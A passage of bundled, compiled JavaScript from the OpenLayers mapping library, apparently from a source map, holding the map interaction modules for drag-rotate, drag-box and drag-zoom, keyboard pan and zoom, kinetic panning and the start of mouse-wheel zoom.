{import(\"../events/condition.js\").Condition} [condition] A function that takes an\n * {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a boolean\n * to indicate whether that event should be handled.\n * Default is {@link module:ol/events/condition.altShiftKeysOnly}.\n * @property {number} [duration=250] Animation duration in milliseconds.\n */\n/**\n * @classdesc\n * Allows the user to rotate the map by clicking and dragging on the map,\n * normally combined with an {@link module:ol/events/condition} that limits\n * it to when the alt and shift keys are held down.\n *\n * This interaction is only supported for mouse devices.\n * @api\n */\nvar DragRotate = /** @class */ (function (_super) {\n __extends(DragRotate, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function DragRotate(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, {\n stopDown: FALSE,\n }) || this;\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ = options.condition ? options.condition : altShiftKeysOnly;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.lastAngle_ = undefined;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n return _this;\n }\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n */\n DragRotate.prototype.handleDragEvent = function (mapBrowserEvent) {\n if (!mouseOnly(mapBrowserEvent)) {\n return;\n }\n var map = mapBrowserEvent.map;\n var view = map.getView();\n if (view.getConstraints().rotation === disable) {\n return;\n }\n var size = map.getSize();\n var offset = mapBrowserEvent.pixel;\n var theta = Math.atan2(size[1] / 2 - offset[1], offset[0] - size[0] / 2);\n if (this.lastAngle_ !== undefined) {\n var delta = theta - this.lastAngle_;\n view.adjustRotationInternal(-delta);\n }\n this.lastAngle_ = theta;\n };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragRotate.prototype.handleUpEvent = function (mapBrowserEvent) {\n if (!mouseOnly(mapBrowserEvent)) {\n return true;\n }\n var map = mapBrowserEvent.map;\n var view = map.getView();\n view.endInteraction(this.duration_);\n return false;\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragRotate.prototype.handleDownEvent = function (mapBrowserEvent) {\n if (!mouseOnly(mapBrowserEvent)) {\n return false;\n }\n if (mouseActionButton(mapBrowserEvent) &&\n this.condition_(mapBrowserEvent)) {\n var map = mapBrowserEvent.map;\n map.getView().beginInteraction();\n this.lastAngle_ = undefined;\n return true;\n }\n else {\n return false;\n }\n };\n return DragRotate;\n}(PointerInteraction));\nexport default DragRotate;\n//# sourceMappingURL=DragRotate.js.map","/**\n * @module ol/render/Box\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport Disposable from '../Disposable.js';\nimport Polygon from '../geom/Polygon.js';\nvar RenderBox = /** @class */ (function (_super) {\n __extends(RenderBox, _super);\n /**\n * @param {string} className CSS class name.\n */\n function RenderBox(className) {\n var _this = _super.call(this) || this;\n /**\n * @type {import(\"../geom/Polygon.js\").default}\n * @private\n */\n _this.geometry_ = null;\n /**\n * @type {HTMLDivElement}\n * @private\n */\n _this.element_ = document.createElement('div');\n _this.element_.style.position = 'absolute';\n _this.element_.style.pointerEvents = 'auto';\n _this.element_.className = 'ol-box ' + className;\n /**\n * @private\n * @type {import(\"../PluggableMap.js\").default|null}\n */\n _this.map_ = null;\n /**\n * @private\n * @type {import(\"../pixel.js\").Pixel}\n */\n _this.startPixel_ = null;\n /**\n * @private\n * @type {import(\"../pixel.js\").Pixel}\n */\n _this.endPixel_ = null;\n return _this;\n }\n /**\n * Clean up.\n */\n RenderBox.prototype.disposeInternal = function () {\n this.setMap(null);\n };\n /**\n * @private\n */\n RenderBox.prototype.render_ = function () {\n var startPixel = this.startPixel_;\n var endPixel = this.endPixel_;\n var px = 'px';\n var style = this.element_.style;\n style.left = Math.min(startPixel[0], endPixel[0]) + px;\n style.top = Math.min(startPixel[1], endPixel[1]) + px;\n style.width = Math.abs(endPixel[0] - startPixel[0]) + px;\n style.height = Math.abs(endPixel[1] - startPixel[1]) + px;\n };\n /**\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n */\n RenderBox.prototype.setMap = function (map) {\n if (this.map_) {\n this.map_.getOverlayContainer().removeChild(this.element_);\n var style = this.element_.style;\n style.left = 'inherit';\n style.top = 'inherit';\n style.width = 'inherit';\n style.height = 'inherit';\n }\n this.map_ = map;\n if (this.map_) {\n this.map_.getOverlayContainer().appendChild(this.element_);\n }\n };\n /**\n * @param {import(\"../pixel.js\").Pixel} startPixel Start pixel.\n * @param {import(\"../pixel.js\").Pixel} endPixel End pixel.\n */\n RenderBox.prototype.setPixels = function (startPixel, endPixel) {\n this.startPixel_ = startPixel;\n this.endPixel_ = endPixel;\n this.createOrUpdateGeometry();\n this.render_();\n };\n /**\n * Creates or updates the cached geometry.\n */\n RenderBox.prototype.createOrUpdateGeometry = function () {\n var startPixel = this.startPixel_;\n var endPixel = this.endPixel_;\n var pixels = [\n startPixel,\n [startPixel[0], endPixel[1]],\n endPixel,\n [endPixel[0], startPixel[1]],\n ];\n var coordinates = pixels.map(this.map_.getCoordinateFromPixelInternal, this.map_);\n // close the polygon\n coordinates[4] = coordinates[0].slice();\n if (!this.geometry_) {\n this.geometry_ = new Polygon([coordinates]);\n }\n else {\n this.geometry_.setCoordinates([coordinates]);\n }\n };\n /**\n * @return {import(\"../geom/Polygon.js\").default} Geometry.\n */\n RenderBox.prototype.getGeometry = function () {\n return this.geometry_;\n };\n return RenderBox;\n}(Disposable));\nexport default RenderBox;\n//# sourceMappingURL=Box.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/DragBox\n */\n// FIXME draw drag box\nimport Event from '../events/Event.js';\nimport PointerInteraction from './Pointer.js';\nimport RenderBox from '../render/Box.js';\nimport { mouseActionButton } from '../events/condition.js';\n/**\n * A function that takes a {@link module:ol/MapBrowserEvent~MapBrowserEvent} and two\n * {@link module:ol/pixel~Pixel}s and returns a `{boolean}`. If the condition is met,\n * true should be returned.\n * @typedef {function(this: ?, import(\"../MapBrowserEvent.js\").default, import(\"../pixel.js\").Pixel, import(\"../pixel.js\").Pixel):boolean} EndCondition\n */\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-dragbox'] CSS class name for styling the box.\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a boolean\n * to indicate whether that event should be handled.\n * Default is {@link ol/events/condition~mouseActionButton}.\n * @property {number} [minArea=64] The minimum area of the box in pixel, this value is used by the default\n * `boxEndCondition` function.\n * @property {EndCondition} [boxEndCondition] A function that takes a {@link module:ol/MapBrowserEvent~MapBrowserEvent} and two\n * {@link module:ol/pixel~Pixel}s to indicate whether a `boxend` event should be fired.\n * Default is `true` if the area of the box is bigger than the `minArea` option.\n * @property {function(this:DragBox, import(\"../MapBrowserEvent.js\").default):void} [onBoxEnd] Code to execute just\n * before `boxend` is fired.\n */\n/**\n * @enum {string}\n */\nvar DragBoxEventType = {\n /**\n * Triggered upon drag box start.\n * @event DragBoxEvent#boxstart\n * @api\n */\n BOXSTART: 'boxstart',\n /**\n * Triggered on drag when box is active.\n * @event DragBoxEvent#boxdrag\n * @api\n */\n BOXDRAG: 'boxdrag',\n /**\n * Triggered upon drag box end.\n * @event DragBoxEvent#boxend\n * @api\n */\n BOXEND: 'boxend',\n /**\n * Triggered upon drag box canceled.\n * @event DragBoxEvent#boxcancel\n * @api\n */\n BOXCANCEL: 'boxcancel',\n};\n/**\n * @classdesc\n * Events emitted by {@link module:ol/interaction/DragBox~DragBox} instances are instances of\n * this type.\n */\nvar DragBoxEvent = /** @class */ (function (_super) {\n __extends(DragBoxEvent, _super);\n /**\n * @param {string} type The event type.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate The event coordinate.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Originating event.\n */\n function DragBoxEvent(type, coordinate, mapBrowserEvent) {\n var _this = _super.call(this, type) || this;\n /**\n * The coordinate of the drag event.\n * @const\n * @type {import(\"../coordinate.js\").Coordinate}\n * @api\n */\n _this.coordinate = coordinate;\n /**\n * @const\n * @type {import(\"../MapBrowserEvent.js\").default}\n * @api\n */\n _this.mapBrowserEvent = mapBrowserEvent;\n return _this;\n }\n return DragBoxEvent;\n}(Event));\nexport { DragBoxEvent };\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"../ObjectEventType\").Types|\n * 'change:active', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").OnSignature<'boxcancel'|'boxdrag'|'boxend'|'boxstart', DragBoxEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"../ObjectEventType\").Types|\n * 'change:active'|'boxcancel'|'boxdrag'|'boxend', Return>} DragBoxOnSignature\n */\n/**\n * @classdesc\n * Allows the user to draw a vector box by clicking and dragging on the map,\n * normally combined with an {@link module:ol/events/condition} that limits\n * it to when the shift or other key is held down. This is used, for example,\n * for zooming to a specific area of the map\n * (see {@link module:ol/interaction/DragZoom~DragZoom} and\n * {@link module:ol/interaction/DragRotateAndZoom~DragRotateAndZoom}).\n *\n * @fires DragBoxEvent\n * @api\n */\nvar DragBox = /** @class */ (function (_super) {\n __extends(DragBox, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function DragBox(opt_options) {\n var _this = _super.call(this) || this;\n /***\n * @type {DragBoxOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {DragBoxOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {DragBoxOnSignature<void>}\n */\n _this.un;\n var options = opt_options ? opt_options : {};\n /**\n * @type {import(\"../render/Box.js\").default}\n * @private\n */\n _this.box_ = new RenderBox(options.className || 'ol-dragbox');\n /**\n * @type {number}\n * @private\n */\n _this.minArea_ = options.minArea !== undefined ? options.minArea : 64;\n if (options.onBoxEnd) {\n _this.onBoxEnd = options.onBoxEnd;\n }\n /**\n * @type {import(\"../pixel.js\").Pixel}\n * @private\n */\n _this.startPixel_ = null;\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ = options.condition ? options.condition : mouseActionButton;\n /**\n * @private\n * @type {EndCondition}\n */\n _this.boxEndCondition_ = options.boxEndCondition\n ? options.boxEndCondition\n : _this.defaultBoxEndCondition;\n return _this;\n }\n /**\n * The default condition for determining whether the boxend event\n * should fire.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent The originating MapBrowserEvent\n * leading to the box end.\n * @param {import(\"../pixel.js\").Pixel} startPixel The starting pixel of the box.\n * @param {import(\"../pixel.js\").Pixel} endPixel The end pixel of the box.\n * @return {boolean} Whether or not the boxend condition should be fired.\n */\n DragBox.prototype.defaultBoxEndCondition = function (mapBrowserEvent, startPixel, endPixel) {\n var width = endPixel[0] - startPixel[0];\n var height = endPixel[1] - startPixel[1];\n return width * width + height * height >= this.minArea_;\n };\n /**\n * Returns geometry of last drawn box.\n * @return {import(\"../geom/Polygon.js\").default} Geometry.\n * @api\n */\n DragBox.prototype.getGeometry = function () {\n return this.box_.getGeometry();\n };\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n */\n DragBox.prototype.handleDragEvent = function (mapBrowserEvent) {\n this.box_.setPixels(this.startPixel_, mapBrowserEvent.pixel);\n this.dispatchEvent(new DragBoxEvent(DragBoxEventType.BOXDRAG, mapBrowserEvent.coordinate, mapBrowserEvent));\n };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragBox.prototype.handleUpEvent = function (mapBrowserEvent) {\n this.box_.setMap(null);\n var completeBox = this.boxEndCondition_(mapBrowserEvent, this.startPixel_, mapBrowserEvent.pixel);\n if (completeBox) {\n this.onBoxEnd(mapBrowserEvent);\n }\n this.dispatchEvent(new DragBoxEvent(completeBox ? DragBoxEventType.BOXEND : DragBoxEventType.BOXCANCEL, mapBrowserEvent.coordinate, mapBrowserEvent));\n return false;\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragBox.prototype.handleDownEvent = function (mapBrowserEvent) {\n if (this.condition_(mapBrowserEvent)) {\n this.startPixel_ = mapBrowserEvent.pixel;\n this.box_.setMap(mapBrowserEvent.map);\n this.box_.setPixels(this.startPixel_, this.startPixel_);\n this.dispatchEvent(new DragBoxEvent(DragBoxEventType.BOXSTART, mapBrowserEvent.coordinate, mapBrowserEvent));\n return true;\n }\n else {\n return false;\n }\n };\n /**\n * Function to execute just before `onboxend` is fired\n * @param {import(\"../MapBrowserEvent.js\").default} event Event.\n */\n DragBox.prototype.onBoxEnd = function (event) { };\n return DragBox;\n}(PointerInteraction));\nexport default DragBox;\n//# sourceMappingURL=DragBox.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/DragZoom\n */\nimport DragBox from './DragBox.js';\nimport { easeOut } from '../easing.js';\nimport { shiftKeyOnly } from '../events/condition.js';\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-dragzoom'] CSS class name for styling the\n * box.\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that\n * takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a\n * boolean to indicate whether that event should be handled.\n * Default is {@link module:ol/events/condition.shiftKeyOnly}.\n * @property {number} [duration=200] Animation duration in milliseconds.\n * @property {boolean} [out=false] Use interaction for zooming out.\n * @property {number} [minArea=64] The minimum area of the box in pixel, this value is used by the parent default\n * `boxEndCondition` function.\n */\n/**\n * @classdesc\n * Allows the user to zoom the map by clicking and dragging on the map,\n * normally combined with an {@link module:ol/events/condition} that limits\n * it to when a key, shift by default, is held down.\n *\n * To change the style of the box, use CSS and the `.ol-dragzoom` selector, or\n * your custom one configured with `className`.\n * @api\n */\nvar DragZoom = /** @class */ (function (_super) {\n __extends(DragZoom, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function DragZoom(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var condition = options.condition ? options.condition : shiftKeyOnly;\n _this = _super.call(this, {\n condition: condition,\n className: options.className || 'ol-dragzoom',\n minArea: options.minArea,\n }) || this;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 200;\n /**\n * @private\n * @type {boolean}\n */\n _this.out_ = options.out !== undefined ? options.out : false;\n return _this;\n }\n /**\n * Function to execute just before `onboxend` is fired\n * @param {import(\"../MapBrowserEvent.js\").default} event Event.\n */\n DragZoom.prototype.onBoxEnd = function (event) {\n var map = this.getMap();\n var view = /** @type {!import(\"../View.js\").default} */ (map.getView());\n var geometry = this.getGeometry();\n if (this.out_) {\n var rotatedExtent = view.rotatedExtentForGeometry(geometry);\n var resolution = view.getResolutionForExtentInternal(rotatedExtent);\n var factor = view.getResolution() / resolution;\n geometry = geometry.clone();\n geometry.scale(factor * factor);\n }\n view.fitInternal(geometry, {\n duration: this.duration_,\n easing: easeOut,\n });\n };\n return DragZoom;\n}(DragBox));\nexport default DragZoom;\n//# sourceMappingURL=DragZoom.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/KeyboardPan\n */\nimport EventType from '../events/EventType.js';\nimport Interaction, { pan } from './Interaction.js';\nimport KeyCode from '../events/KeyCode.js';\nimport { noModifierKeys, targetNotEditable } from '../events/condition.js';\nimport { rotate as rotateCoordinate } from '../coordinate.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that\n * takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a\n * boolean to indicate whether that event should be handled. Default is\n * {@link module:ol/events/condition.noModifierKeys} and\n * {@link module:ol/events/condition.targetNotEditable}.\n * @property {number} [duration=100] Animation duration in milliseconds.\n * @property {number} [pixelDelta=128] The amount of pixels to pan on each key\n * press.\n */\n/**\n * @classdesc\n * Allows the user to pan the map using keyboard arrows.\n * Note that, although this interaction is by default included in maps,\n * the keys can only be used when browser focus is on the element to which\n * the keyboard events are attached. By default, this is the map div,\n * though you can change this with the `keyboardEventTarget` in\n * {@link module:ol/Map~Map}. `document` never loses focus but, for any other\n * element, focus will have to be on, and returned to, this element if the keys\n * are to function.\n * See also {@link module:ol/interaction/KeyboardZoom~KeyboardZoom}.\n * @api\n */\nvar KeyboardPan = /** @class */ (function (_super) {\n __extends(KeyboardPan, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function KeyboardPan(opt_options) {\n var _this = _super.call(this) || this;\n var options = opt_options || {};\n /**\n * @private\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Browser event.\n * @return {boolean} Combined condition result.\n */\n _this.defaultCondition_ = function (mapBrowserEvent) {\n return (noModifierKeys(mapBrowserEvent) && targetNotEditable(mapBrowserEvent));\n };\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ =\n options.condition !== undefined\n ? options.condition\n : _this.defaultCondition_;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 100;\n /**\n * @private\n * @type {number}\n */\n _this.pixelDelta_ =\n options.pixelDelta !== undefined ? options.pixelDelta : 128;\n return _this;\n }\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event} if it was a\n * `KeyEvent`, and decides the direction to pan to (if an arrow key was\n * pressed).\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n * @this {KeyboardPan}\n */\n KeyboardPan.prototype.handleEvent = function (mapBrowserEvent) {\n var stopEvent = false;\n if (mapBrowserEvent.type == EventType.KEYDOWN) {\n var keyEvent = /** @type {KeyboardEvent} */ (mapBrowserEvent.originalEvent);\n var keyCode = keyEvent.keyCode;\n if (this.condition_(mapBrowserEvent) &&\n (keyCode == KeyCode.DOWN ||\n keyCode == KeyCode.LEFT ||\n keyCode == KeyCode.RIGHT ||\n keyCode == KeyCode.UP)) {\n var map = mapBrowserEvent.map;\n var view = map.getView();\n var mapUnitsDelta = view.getResolution() * this.pixelDelta_;\n var deltaX = 0, deltaY = 0;\n if (keyCode == KeyCode.DOWN) {\n deltaY = -mapUnitsDelta;\n }\n else if (keyCode == KeyCode.LEFT) {\n deltaX = -mapUnitsDelta;\n }\n else if (keyCode == KeyCode.RIGHT) {\n deltaX = mapUnitsDelta;\n }\n else {\n deltaY = mapUnitsDelta;\n }\n var delta = [deltaX, deltaY];\n rotateCoordinate(delta, view.getRotation());\n pan(view, delta, this.duration_);\n keyEvent.preventDefault();\n stopEvent = true;\n }\n }\n return !stopEvent;\n };\n return KeyboardPan;\n}(Interaction));\nexport default KeyboardPan;\n//# sourceMappingURL=KeyboardPan.js.map","/**\n * @module ol/events/KeyCode\n */\n/**\n * @enum {number}\n * @const\n */\nexport default {\n LEFT: 37,\n UP: 38,\n RIGHT: 39,\n DOWN: 40,\n};\n//# sourceMappingURL=KeyCode.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/KeyboardZoom\n */\nimport EventType from '../events/EventType.js';\nimport Interaction, { zoomByDelta } from './Interaction.js';\nimport { targetNotEditable } from '../events/condition.js';\n/**\n * @typedef {Object} Options\n * @property {number} [duration=100] Animation duration in milliseconds.\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that\n * takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a\n * boolean to indicate whether that event should be handled. Default is\n * {@link module:ol/events/condition.targetNotEditable}.\n * @property {number} [delta=1] The zoom level delta on each key press.\n */\n/**\n * @classdesc\n * Allows the user to zoom the map using keyboard + and -.\n * Note that, although this interaction is by default included in maps,\n * the keys can only be used when browser focus is on the element to which\n * the keyboard events are attached. By default, this is the map div,\n * though you can change this with the `keyboardEventTarget` in\n * {@link module:ol/Map~Map}. `document` never loses focus but, for any other\n * element, focus will have to be on, and returned to, this element if the keys\n * are to function.\n * See also {@link module:ol/interaction/KeyboardPan~KeyboardPan}.\n * @api\n */\nvar KeyboardZoom = /** @class */ (function (_super) {\n __extends(KeyboardZoom, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function KeyboardZoom(opt_options) {\n var _this = _super.call(this) || this;\n var options = opt_options ? opt_options : {};\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ = options.condition ? options.condition : targetNotEditable;\n /**\n * @private\n * @type {number}\n */\n _this.delta_ = options.delta ? options.delta : 1;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 100;\n return _this;\n }\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event} if it was a\n * `KeyEvent`, and decides whether to zoom in or out (depending on whether the\n * key pressed was '+' or '-').\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n * @this {KeyboardZoom}\n */\n KeyboardZoom.prototype.handleEvent = function (mapBrowserEvent) {\n var stopEvent = false;\n if (mapBrowserEvent.type == EventType.KEYDOWN ||\n mapBrowserEvent.type == EventType.KEYPRESS) {\n var keyEvent = /** @type {KeyboardEvent} */ (mapBrowserEvent.originalEvent);\n var charCode = keyEvent.charCode;\n if (this.condition_(mapBrowserEvent) &&\n (charCode == '+'.charCodeAt(0) || charCode == '-'.charCodeAt(0))) {\n var map = mapBrowserEvent.map;\n var delta = charCode == '+'.charCodeAt(0) ? this.delta_ : -this.delta_;\n var view = map.getView();\n zoomByDelta(view, delta, undefined, this.duration_);\n keyEvent.preventDefault();\n stopEvent = true;\n }\n }\n return !stopEvent;\n };\n return KeyboardZoom;\n}(Interaction));\nexport default KeyboardZoom;\n//# sourceMappingURL=KeyboardZoom.js.map","/**\n * @module ol/Kinetic\n */\n/**\n * @classdesc\n * Implementation of inertial deceleration for map movement.\n *\n * @api\n */\nvar Kinetic = /** @class */ (function () {\n /**\n * @param {number} decay Rate of decay (must be negative).\n * @param {number} minVelocity Minimum velocity (pixels/millisecond).\n * @param {number} delay Delay to consider to calculate the kinetic\n * initial values (milliseconds).\n */\n function Kinetic(decay, minVelocity, delay) {\n /**\n * @private\n * @type {number}\n */\n this.decay_ = decay;\n /**\n * @private\n * @type {number}\n */\n this.minVelocity_ = minVelocity;\n /**\n * @private\n * @type {number}\n */\n this.delay_ = delay;\n /**\n * @private\n * @type {Array<number>}\n */\n this.points_ = [];\n /**\n * @private\n * @type {number}\n */\n this.angle_ = 0;\n /**\n * @private\n * @type {number}\n */\n this.initialVelocity_ = 0;\n }\n /**\n * FIXME empty description for jsdoc\n */\n Kinetic.prototype.begin = function () {\n this.points_.length = 0;\n this.angle_ = 0;\n this.initialVelocity_ = 0;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n */\n Kinetic.prototype.update = function (x, y) {\n this.points_.push(x, y, Date.now());\n };\n /**\n * @return {boolean} Whether we should do kinetic animation.\n */\n Kinetic.prototype.end = function () {\n if (this.points_.length < 6) {\n // at least 2 points are required (i.e. there must be at least 6 elements\n // in the array)\n return false;\n }\n var delay = Date.now() - this.delay_;\n var lastIndex = this.points_.length - 3;\n if (this.points_[lastIndex + 2] < delay) {\n // the last tracked point is too old, which means that the user stopped\n // panning before releasing the map\n return false;\n }\n // get the first point which still falls into the delay time\n var firstIndex = lastIndex - 3;\n while (firstIndex > 0 && this.points_[firstIndex + 2] > delay) {\n firstIndex -= 3;\n }\n var duration = this.points_[lastIndex + 2] - this.points_[firstIndex + 2];\n // we don't want a duration of 0 (divide by zero)\n // we also make sure the user panned for a duration of at least one frame\n // (1/60s) to compute sane displacement values\n if (duration < 1000 / 60) {\n return false;\n }\n var dx = this.points_[lastIndex] - this.points_[firstIndex];\n var dy = this.points_[lastIndex + 1] - this.points_[firstIndex + 1];\n this.angle_ = Math.atan2(dy, dx);\n this.initialVelocity_ = Math.sqrt(dx * dx + dy * dy) / duration;\n return this.initialVelocity_ > this.minVelocity_;\n };\n /**\n * @return {number} Total distance travelled (pixels).\n */\n Kinetic.prototype.getDistance = function () {\n return (this.minVelocity_ - this.initialVelocity_) / this.decay_;\n };\n /**\n * @return {number} Angle of the kinetic panning animation (radians).\n */\n Kinetic.prototype.getAngle = function () {\n return this.angle_;\n };\n return Kinetic;\n}());\nexport default Kinetic;\n//# sourceMappingURL=Kinetic.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/MouseWheelZoom\n */\nimport EventType from '../events/EventType.js';\nimport Interaction, { zoomByDelta } from './Interaction.js';\nimport { DEVICE_PIXEL_RATIO, FIREFOX } from '../has.js';\nimport { all, always, focusWithTabindex } from '../events/condition.js';\nimport { clamp } from '../math.js';\n/**\n * @enum {string}\n */\nexport var Mode = {\n TRACKPAD: 'trackpad',\n WHEEL: 'wheel',\n};\n/**\n * @typedef {Object} Options\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that\n * takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a\n * boolean to indicate whether that event should be handled. Default is\n * {@link module:ol/events/condition.always}.\n * @property {boolean} [onFocusOnly=false] When the map's target has a `tabindex` attribute set,\n * the interaction will only handle events when the map has the focus.\n * @property {number} [maxDelta=1] Maximum mouse wheel delta.\n * @property {number} [duration=250] Animation duration in milliseconds.\n * @property {number} [timeout=80] Mouse wheel timeout duration in milliseconds.\n * @property {boolean} [useAnchor=true] Enable zooming using the mouse's\n * location as the anchor. When set to `false`, zooming in and out will zoom to\n * the center of the screen instead of zooming on the mouse's location.\n * @property {boolean} [constrainResolution=false] If true, the mouse wheel zoom\n * event will always animate to the closest zoom level after an interaction;\n * false means intermediary zoom levels are allowed.\n */\n/**\n * @classdesc\n * Allows the user to zoom the map by scrolling the mouse wheel.\n * @api\n */\nvar MouseWheelZoom = /** @class */ (function (_super) {\n __extends(MouseWheelZoom, _super);\n /**\n * @param {Options} [opt_options] 